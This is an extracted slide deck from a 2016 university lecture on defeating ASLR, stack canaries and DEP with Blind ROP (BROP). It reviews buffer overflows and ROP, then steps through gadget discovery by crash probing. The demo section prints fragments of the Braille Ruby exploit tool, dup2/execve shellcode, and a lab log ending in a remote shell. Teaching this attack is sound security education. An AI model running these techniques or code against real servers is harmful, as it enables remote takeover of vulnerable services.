Lecture 6: Defeating ASLR, Canary, and DEP: Blind ROP

Zhiqiang Lin

Zhiqiang.lin@utdallas.edu
University of Texas at Dallas

Feb 8th, 2016
Outline

Introduction & Background Review

Blind ROP (BROP)

Demo

Summary
Outline

Introduction & Background Review

Blind ROP (BROP)

Demo

Summary
Root Causes of the Security Problems
Root Causes of the Security Problems

- Configuration Errors
Root Causes of the Security Problems

- Configuration Errors
- Human Mistakes
Root Causes of the Security Problems

- Configuration Errors
- Human Mistakes
Root Causes of the Security Problems

- Configuration Errors
- Vulnerabilities (like a hole)
- Human Mistakes
Various Software Vulnerabilities

1. Desktop/Server (app/kernel) Vulnerabilities
   - **Buffer Overflow** (stack, heap, vtable)
   - Format String
   - Integer Overflow

2. Web (App) Vulnerabilities
   - SQL Injection
   - Cross-site scripting
   - Cross-site forgery

3. Mobile (App) Vulnerabilities
   - Android component/Intent hijacking
   - Data leakage

4. ...
An Example of Stack Overflow Vulnerability

```c
#include<string.h>
int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:

```
0x080483e4 <+0>: push   %ebp
0x080483e5 <+1>: mov    %esp,%ebp
0x080483e7 <+3>: sub    $72,%esp
0x080483ea <+6>: mov    12(%ebp),%eax
0x080483ed <+9>: mov    4(%eax),%eax
0x080483f0 <+12>: mov    %eax,4(%esp)
0x080483f4 <+16>: lea   -64(%ebp),%eax
0x080483f7 <+19>: mov    %eax,(%esp)
0x080483fa <+22>: call   0x8048300 <strcpy@plt>
0x080483ff <+27>: leave
0x08048400 <+28>: ret
```
```c
#include<string.h>

int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:

```assembly
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $72,%esp
0x080483ea <+6>: mov 12(%ebp),%eax
0x080483ed <+9>: mov 4(%eax),%eax
0x080483f0 <+12>: mov %eax,4(%esp)
0x080483f4 <+16>: lea -64(%ebp),%eax
0x080483f7 <+19>: mov %eax,(%esp)
0x080483fa <+22>: call 0x8048300 <strcpy@plt>
0x080483ff <+27>: leave
0x08048400 <+28>: ret
```
Attack & Defense against Buffer Overflow
Overflow
return
address
1995 2005 2015
Attack & Defense against Buffer Overflow

- Overflow return address
- Canaries

Timeline:
- 1995
- 2005
- 2015
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Canaries

Timeline:
- 1995
- 2005
- 2015
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Canaries
- Data-execution prevention
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Return-into-libc

- Canaries
- Data-execution prevention
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Return-into-libc

1995

- Canaries
- Data-execution prevention
- Randomize libc address (ASLR)

2005

2015
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Return-into-libc
- Return-oriented program (ROP)

- Canaries
- Data-execution prevention
- Randomize libc address (ASLR)
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Return into libc
- Return-oriented program (ROP)

Canaries
Data-execution prevention
Randomize libc address (ASLR)
Randomize all code address

Timeline:
- 1995
- 2005
- 2015
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Return-into-libc
- Return-oriented program (ROP)
- Just-in-time ROP

- Canaries
- Data-execution prevention
- Randomize libc address (ASLR)
- Randomize all code address
Attack & Defense against Buffer Overflow

- Overflow return address
- Execute in the stack
- Return-into-libc
- Return-oriented program (ROP)
- Just-in-time ROP

---

1995

- Canaries
- Data-execution prevention
- Randomize libc address (ASLR)

2005

- Randomize all code address

2015

- Just-in-time Re-randomization
Idea:

- prologue introduces a *canary word* between return addr and locals
Idea:

- prologue introduces a **canary word** between return addr and locals
- epilogue checks canary before function returns
Idea:

- prologue introduces a *canary word* between return addr and locals
- epilogue checks canary before function returns

Wrong Canary => Overflow
Security Defense II: DEP ($W \oplus X$)
Security Defense II: DEP ($W \oplus X$)
Security Defense III: ASLR

Diagram:
- addr of buf (0xffffd5d8)
- caller's ebp
- buf
- buf[0] → 0xffffd5d8
- buf[63] → 0xffffd618

Shellcode
Security Defense III: ASLR
Address Space Layout Randomization

Shellcode

buf[63]
buf[0]

0xffffffff5d8
0xffffffff618

0xffffffff5d8
0xffffffff618

Oops...

0xffffffff5d8
0xfffffffffe428
0xfffffffffe3f8
Security Defense Today: Canary + DEP + ASLR

Security Exploits (Offense) Today Have to
1. Break Canary
2. Break DEP
3. Break ASLR
Security Exploits (Offense) Today Have to

1. Break Canary
2. Break DEP
3. Break ASLR
Return Oriented Programming (ROP) [Shacham 2007]
Return Oriented Programming (ROP) [Shacham 2007]
Return Oriented Programming (ROP) [Shacham 2007]
Return Oriented Programming (ROP) [Shacham 2007]

**Desired Logic**

- Mem[v2] = v1

**Stack**

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>a3</td>
<td>v2</td>
<td>a2</td>
</tr>
<tr>
<td></td>
<td></td>
<td>v1</td>
</tr>
</tbody>
</table>

Implementation 1

- a1: pop eax; ret
- a2: pop ebx; ret
- a3: mov [ebx], eax

Implementation 2

- esp

“Gadgets”
Outline

Introduction & Background Review

Blind ROP (BROP)

Demo

Summary
Hacking Buffer Overflows

Exploit

GET /0xDEAD HTTP/1.0

shell

$ cat /etc/passwd
   root:x:0:0:::/bin/sh
   sorbo:x:6:9:pac:/bin/sh
Crash or Not Crash: enough to build an exploit

GET /blabla HTTP/1.0
HTTP/1.0 404 Not Found
GET /AAAAAAAAAAAAAAAA
connection closed
Hacking Blind

“We show that it is possible to write remote stack buffer overflow exploits without possessing a copy of the target binary or source code, against services that restart after a crash. This makes it possible to hack proprietary closed-binary services ... Traditional ROP requires attackers to know the address of the useful gadgets. Our Blind ROP (BROP) attack remotely finds enough ROP gadgets to perform a write system call and transfers the vulnerable binary over the network, after which an exploit can be completed using known techniques. This is accomplished by leaking a single bit of information based on whether a process crashed or not when given a particular input string.”
Don’t even need to know what application is running!

Exploit Scenarios

1. Open Source
2. Open binary
3. Closed-binary (and closed source)

Attack Requirements

1. Stack vulnerability, and knowledge of how to trigger it.
2. Server process that respawns after crash
   - E.g., nginx, MySQL, Apache, OpenSSH, Samba
## Attack Effectiveness

<table>
<thead>
<tr>
<th>Server</th>
<th>Requests</th>
<th>Time (mins)</th>
</tr>
</thead>
<tbody>
<tr>
<td>nginx</td>
<td>2,401</td>
<td>1</td>
</tr>
<tr>
<td>MySQL</td>
<td>3,851</td>
<td>20</td>
</tr>
<tr>
<td>Toy proprietary service (unknown binary and source)</td>
<td>1,950</td>
<td>5</td>
</tr>
</tbody>
</table>

Credit: Many slides in this lecture come from Dr. Andrea Bittau’s Hacking Blind Presentation at Oakland’14
void process_packet(int s) {
    char buf[1024];
    int len;

    read(s, &len, sizeof(len));
    read(s, buf, len);

    return;
}

Stack:

return address
0x400000
buf[1024]

handle_client()
void process_packet(int s) {
    char buf[1024];
    int len;

    read(s, &len, sizeof(len));
    read(s, buf, len);

    return;
}

void handle_client() {

}
Stack Vulnerabilities

void process_packet(int s) {
char buf[1024];
int len;

read(s, &len, sizeof(len));
read(s, buf, len);

return;
}

Stack:
return address
0x41414141
AAAAAAAAA
AAAAAAAAA
AAAAAAAAA
AAAAAAAAA
??
void process_packet(int s) {
    char buf[1024];
    int len;

    read(s, &len, sizeof(len));
    read(s, buf, len);

    return;
}
void process_packet(int s) {
    char buf[1024];
    int len;
    read(s, &len, sizeof(len));
    read(s, buf, len);
    return;
}

Stack:
return address
0x600000
0x1029827189
123781923719
823719287319
879181823828

Shellcode:
dup2(sock, 0);
dup2(sock, 1);
execve("/bin/sh", 0, 0);
void process_packet(int s) {
    char buf[1024];
    int len;
    read(s, &len, sizeof(len));
    read(s, buf, len);
    return;
}

1. Make stack non-executable

2. Randomize memory addresses (ASLR)

Stack:

Shellcode:

dup2(sock, 0);
dup2(sock, 1);
execve("/bin/sh", 0, 0);
Return Oriented Programming (ROP)

code fragment

.text:

dup2(sock, 0);
dup2(sock, 1);
execve("/bin/sh", 0, 0);

Stack:
0x600000
0x102982
71891237
81923719
82371928
73198791
81823828

Executable Non-Executable
Return Oriented Programming (ROP)

code fragment

.text:

dup2(sock, 0);
dup2(sock, 1);
execve("/bin/sh", 0, 0);

Stack:
0x800000
Return Oriented Programming (ROP)

code segment

.text:

dup2(sock, 0);
return;
dup2(sock, 1);
return;
execve("/bin/sh", 0, 0);
return;

Stack:
0x700000
0x600000
0x800000

ROP gadget

0x800000
0x600000
0x700000
Address Space Layout Randomization (ASLR)

code fragment

.text: 0x400000
dup2(sock, 0);
return;
dup2(sock, 1);
return;
execve("/bin/sh", 0, 0);
return;

Stack:
0x700000
0x600000
0x800000
Address Space Layout Randomization (ASLR)

code fragment

dup2(sock, 0);
return;
dup2(sock, 1);
return;
execve("/bin/sh", 0, 0);
return;

Stack:

0x700000 + ??
0x600000 + ??
0x800000 + ??
Blind Return Oriented Programming (BROP)

1. Break ASLR
2. Leak binary
   - Remotely find enough gadgets to call `write()`.
   - `write()` binary from memory to network to disassemble and find more gadgets to finish off exploit.
Defeating ASLR: Stack Reading

- Overwrite a single byte with value X:
  - No crash: stack had value X.
  - Crash: guess X was incorrect.
- Known technique for leaking canaries.

<table>
<thead>
<tr>
<th>buf[1024]</th>
<th>0x401183</th>
</tr>
</thead>
</table>

Return address
Defeating ASLR: Stack Reading

- Overwrite a single byte with value $X$:
  - No crash: stack had value $X$.
  - Crash: guess $X$ was incorrect.
- Known technique for leaking canaries.

```
0000000000000000000000000 0x401183
```

Return address
Defeating ASLR: Stack Reading

- Overwrite a single byte with value X:
  - No crash: stack had value X.
  - Crash: guess X was incorrect.
- Known technique for leaking canaries.

```
0000000000000000000000000 0x001183
```

Return address
(Was: 0x401183)
Defeating ASLR: Stack Reading

• Overwrite a single byte with value X:
  • No crash: stack had value X.
  • Crash: guess X was incorrect.
• Known technique for leaking canaries.

<table>
<thead>
<tr>
<th>0000000000000000000000000</th>
<th>0x1183</th>
</tr>
</thead>
<tbody>
<tr>
<td>Return address</td>
<td></td>
</tr>
<tr>
<td>(Was: 0x401183)</td>
<td></td>
</tr>
</tbody>
</table>
Defeating ASLR: Stack Reading

- Overwrite a single byte with value $X$:
  - No crash: stack had value $X$.
  - Crash: guess $X$ was incorrect.
- Known technique for leaking canaries.

Return address

0000000000000000000000000 0x401183
(Was: 0x401183)
How to Find the Gadgets

.text:

0x401183  code
fragment

0x401170  ??

0x401160  ??

0x401150  ??

0x401140  ??

0x401130  ??

Stack:

return address
0x401183

buf[1024]
How to Find the Gadgets

.text:

0x401183  code
0x401170  fragment
0x401160  crash
0x401150  ??
0x401140  ??
0x401130  ??

Connection closes

Stack:

return address
0x401170
AAAAAAAAAAA
How to Find the Gadgets

Connection closes

Stack:
0x401160
AAAAAAAAAAAA
AAAAAAAAAAAA
How to Find the Gadgets

.text:

```
0x401183 code
0x401170 crash
0x401160 crash
0x401150 no crash
0x401140 ??
0x401130 ??
```

Connection hangs

Stack:

```
return address
0x401150
AAAAAAAAAAAA
AAAAAAAAAAAA
```
How to Find the Gadgets

.text:

0x401183

code

fragment

0x401170

no crash

0x401160

0x401150

0x401140

0x401130

Connection closes

Stack:

return address

0x401130

AAAAAAAAAAAA

AAAAAAAAAAAA
Three Types of Gadgets

Stop gadget

sleep(10);
return;

• Never crashes

Crash gadget

abort();
return;

• Always crashes

Useful gadget

dup2(sock, 0);
return;

• Crash depends on return
Three Types of Gadgets

Stop gadget
sleep(10);
return;

• Never crashes

Crash gadget
abort();
return;

• Always crashes

Useful gadget
dup2(sock, 0);
return;

• Crash depends on return
Finding Useful Gadgets

```
dup2(sock, 0);
return;
```

```
sleep(10);
return;
```

---

```
return address
0x401170
buf[1024]
other
Stack: Crash!!
```

---

```
0x401170
```

---

```
0x401150
```

---
Finding Useful Gadgets

dup2(sock, 0);
return;

0x401170

Stack:

0x401170

return address
0x401150

buf[1024]

0x401150

sleep(10);
return;

No crash
How to Find Gadgets

How to find gadgets?

.text:
  code
  fragment
  crash
  crash
  stop gadget
  crash
  crash
  0x401183
  0x401170
  0x401160
  0x401150
  0x401140
  0x401130
  return address
  0x401183
  buf[1024]

Stack:
  other
  return address
  0x401183
  buf[1024]
How to Find Gadgets

.text:

0x401183  code
0x401170  gadget!
0x401160  crash
0x401150  stop gadget
0x401140  crash
0x401130  crash

Connection hangs

Stack:

0x401150
return address
0x401170
AAAAAAAAA
AAAAAAAAA
How to Find Gadgets

How to find gadgets?

.text:

0x401183
  code
  fragment
0x401170
  gadget!
0x401160
  crash
0x401150
  stop gadget
0x401140
  crash
0x401130
  crash

Connection closes

Stack:

0x401150
  return address
  0x401160
  AAAAAAAAAA
  AAAAAAAAAA
How to Find POP Gadgets

```
pop rax
ret

no crash

(probe) 0x400000
(trap) 0x0
(stop) 0x500000

(probe) 0x400001
(trap) 0x0
(stop) 0x500000

sleep(10);
```

Crash

```
xor rax, rax
ret
```
Scanning for gadgets and the use of STOP gadgets

- Buffer AAAAA
  - return address 0x400000
- Buffer AAAAA
  - return address 0x400000
- (stop) 0x400100
- (stop) 0x400100
- 0xdead
- 0xdead
- 0xdead
- pop rdi
- ret
- Crash
- sleep(10);
What we are looking for

write(int sock, void *buf, int len)

pop rdi
ret

pop rsi
ret

pop rdx
ret

call write
ret
What are we looking for?

```
write(int sock, void *buf, int len)

pop rdi
ret

pop rsi
ret

pop rdx
ret

call write
ret

AAAAA
buf[1024]
0x400000
ret addr
sock
rdi
0x500000 buf
rsi
0x600000 len
rdx
0x700000
```
Pieces of the puzzle

pop rsi
ret

pop rdi
ret

pop rdx
ret

call write
ret

stop gadget
[call sleep]
Pieces of the puzzle

The BROP gadget

```
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
```

```
pop rsi
pop r15
ret
```

```
pop rdi
ret
```

```
pop rdx
ret
call write
ret
```

```
stop gadget
[call sleep]
```
Finding the BROP Gadget

Stack:

- stop gadget
- return address 0x401183
- buf[1024]

Connection hangs
Finding the BROP Gadget

Stack:

- stop gadget
- crash gadget
- return address 0x401183
- buf[1024]

Connection hangs
Finding the BROP Gadget

return address
0x401183
buf[1024]
Stack:
stop gadget
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Connection
hangs
BROP gadget

stop gadget
crash gadget
crash gadget
crash gadget
crash gadget
crash gadget
return address
0x401183
buf[1024]
Pieces of the puzzle

The BROP gadget

pop rbx  
pop rbp  
pop r12  
pop r13  
pop r14  
pop r15  
ret

pop rdi  
ret

pop rsi  
pop r15  
ret

pop rdx  
ret

call write  
ret

stop gadget  
[call sleep]
Pieces of the puzzle

The BROP gadget

pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

pop rsi
pop r15
ret

pop rdi
ret

call strcmp
ret

call write
ret

stop gadget
[call sleep]
Pieces of the puzzle

The BROP gadget

pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

pop rsi
pop r15
ret

pop rdi
ret

PLT
stop gadget
[call sleep]
call strcmp
ret

call write
ret
Procedure Linking Table (PLT)

.text:

call write
call strcmp
...

PLT

jmp [strcmp]
jmp [sleep]
jmp [write]
jmp [dup2]
jmp [execve]
jmp [...]

libc .text:
Fingerprinting `strcmp`

Can now control three arguments:
- `strcmp` sets `RDX` to length of string
- `arg1`, `arg2`, and `result` are parameters.

<table>
<thead>
<tr>
<th>arg1</th>
<th>arg2</th>
<th>result</th>
</tr>
</thead>
<tbody>
<tr>
<td>readable</td>
<td>0x0</td>
<td>crash</td>
</tr>
<tr>
<td>0x0</td>
<td>readable</td>
<td>crash</td>
</tr>
<tr>
<td>readable</td>
<td>readable</td>
<td>nocrash</td>
</tr>
</tbody>
</table>

Can now control three arguments:
`strcmp` sets `RDX` to length of string.
Fingerprinting `strcmp`

Can now control three arguments: `strcmp` sets RDX to length of string

<table>
<thead>
<tr>
<th>arg1</th>
<th>arg2</th>
<th>result</th>
</tr>
</thead>
<tbody>
<tr>
<td>readable</td>
<td>0x0</td>
<td>crash</td>
</tr>
<tr>
<td>0x0</td>
<td>readable</td>
<td>crash</td>
</tr>
<tr>
<td>readable</td>
<td>readable</td>
<td>nocrash</td>
</tr>
</tbody>
</table>

Can now control three arguments: `strcmp` sets RDX to length of string
Finding write

1. Try sending data to socket by calling candidate PLT function.
2. Check if data received on socket.
3. Chain writes with different FD numbers to find socket. Use multiple connections.
Launching a shell

1. dump binary from memory to network. Not blind anymore!
2. dump symbol table to find PLT calls.
3. redirect stdin/out to socket:
   - `dup2(sock, 0); dup2(sock, 1);`
4. `read() /bin/sh` from socket to memory
5. `execve("/bin/sh", 0, 0)`
1. Fully automated: from first crash to shell.
2. 2,000 lines of Ruby.
3. Needs function that will trigger overflow
   - nginx: 68 lines.
   - MySQL: 121 lines.
   - toy proprietary service: 35 lines
Attack Complexity

# of requests for nginx

- dump bin 222
- find write 101
- find strcmp 61
- find BROP gadget 469
- find PLT 702
- stack reading 846

# of requests for nginx
Outline

Introduction & Background Review

Blind ROP (BROP)

Demo

Summary
#!/usr/bin/env ruby

# encoding: ASCII-8BIT

require 'socket'
require 'timeout'

RC_CRASH = 1
RC_NOCRASH = 2
RC_INF = 3
RC_STUFF = 4

TEXT = 0x400000
DEATH = 0x4242424242424242
VSYSCALL = 0xffffffffffff600000
STRCMP_WANT = 16
MAX_FD = 20
MAX_CONN = 50
FD_USE = 30
SEND_SIZE = 4096

GADGETS = { "syscall" => /\x0f\x05/,
            "rax" => /\x58\xc3/,
            "rdx" => /\x5a\xc3/,
            "rsi" => /\x5e\xc3/,
            }


class Braille

    def initialize
        @ip = "127.0.0.1"
        @port = 7777
        @to = 2
        @reqs = 0
        # @rev = true
        @endian = ">" if @rev
        # @small = true
        @max_fd = MAX_FD
    end
def dropshell(s)
    s.write("\n\nuname -a\n\nid\n")
    while true
        r = select([s, STDIN], nil, nil)
        if r[0][0] == s
            x = s.recv(1024)
            break if x.length == 0
        else
            print("#{x}"")
        end
    end
end
def try_exploit(need, fd):
    rop = build_exp_rop(true, fd)
    abort("Can’t exp") if not rop
    print("ROP chain #{rop.length} #{rop.length * 8} bytes\n")
    conns = []
    need.times do
        conns << make_connection()
    end
    print("Made connections\n")
    s = try_rop_print(0x666, rop, true)
    conns << s
    print("\nMade #{conns.length} connections\n")
    binsh = "/bin/sh\0"
    sleep(1)
    print("Writing /bin/sh\n")
    for s in conns
        s.write(binsh)
    end
s = find_sock(conns)
if s == false
    print("Can’t find sock\n")
    return false
end

stuff = s.recv(1024)
if stuff.index(binsh) == 0
    print("Read /bin/sh\n")
else
    abort("dammmm")
end

dropshell(s)

return true
end
s3lab@debian:~/exploit$ file a.out
a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x31ddbd50b95d9c40f6299dc558ccce27796838df, not stripped
s3lab@debian:~/exploit$ ./a.out
accept: Bad file descriptor
accept: Bad file descriptor
accept: Bad file descriptor
accept: Bad file descriptor
accept: Bad file descriptor
accept: Bad file descriptor
...
Doing find_overflow_len
Trying 0x8 ... ret
Trying 0x8 ... ret
Trying 0x9 ... ret
Trying 0xa ... ret
Trying 0xb ...
Found overflow len 10

==================
Reqs sent 6 time 0
==================
Doing find_rip
Trying 0x0 ... ret
Trying 0xb8 ... ret
Trying 0x21 ... ret
Trying 0xff ... ret
Trying 0xff ... ret
Trying 0x5b ... ret
Trying 0x3c ... ret
Doing find_gadget

...

==================
Reqs sent 1588 time 72
==================
Doing find_strcmp
Trying 0x0 ... inf
Trying 0x2 ... inf
Found longer strcmp 4017da len 70
Found longer strcmp 4017da len 81
Found longer strcmp 401b45 len 85
Found longer strcmp 401d58 len 90
Found gadget rsi at 0x401e63
Found gadget rdx at 0x403247
Found gadget rax at 0x40547b
Found gadget syscall at 0x459f8c

==================
Reqs sent 1972 time 141
==================
Doing exploit
Writable 0x66b25c
Socket 4
sleep
fcntl
syscall execve
ROP chain 114 912 bytes
Made connections
Trying 0x666 ... 
Made 1 connections
Writing /bin/sh
Read /bin/sh
Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.63-2 x86_64 GNU/Linux
uid=1000(s3lab) gid=1000(s3lab) groups=1000(s3lab),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),104(scanner),109(bluetooth),111(netdev)
pwd
/home/s3lab/exploit
Outline

Introduction & Background Review

Blind ROP (BROP)

Demo

Summary
1. A technique to defeat ASLR on servers (generalized stack reading).
2. A technique to remotely find ROP gadgets (BROP) so that software can be attacked when the binary is unknown.
3. Braille: a tool that automatically constructs an exploit given input on how to trigger a stack overflow on a server.
4. The first public exploit for nginx-’s recent vulnerabilities, that is generic, 64-bit, and defeat ASLR, Canaries, and DEP.

www.scs.stanford.edu/brop/bittau-brop.pdf
Questions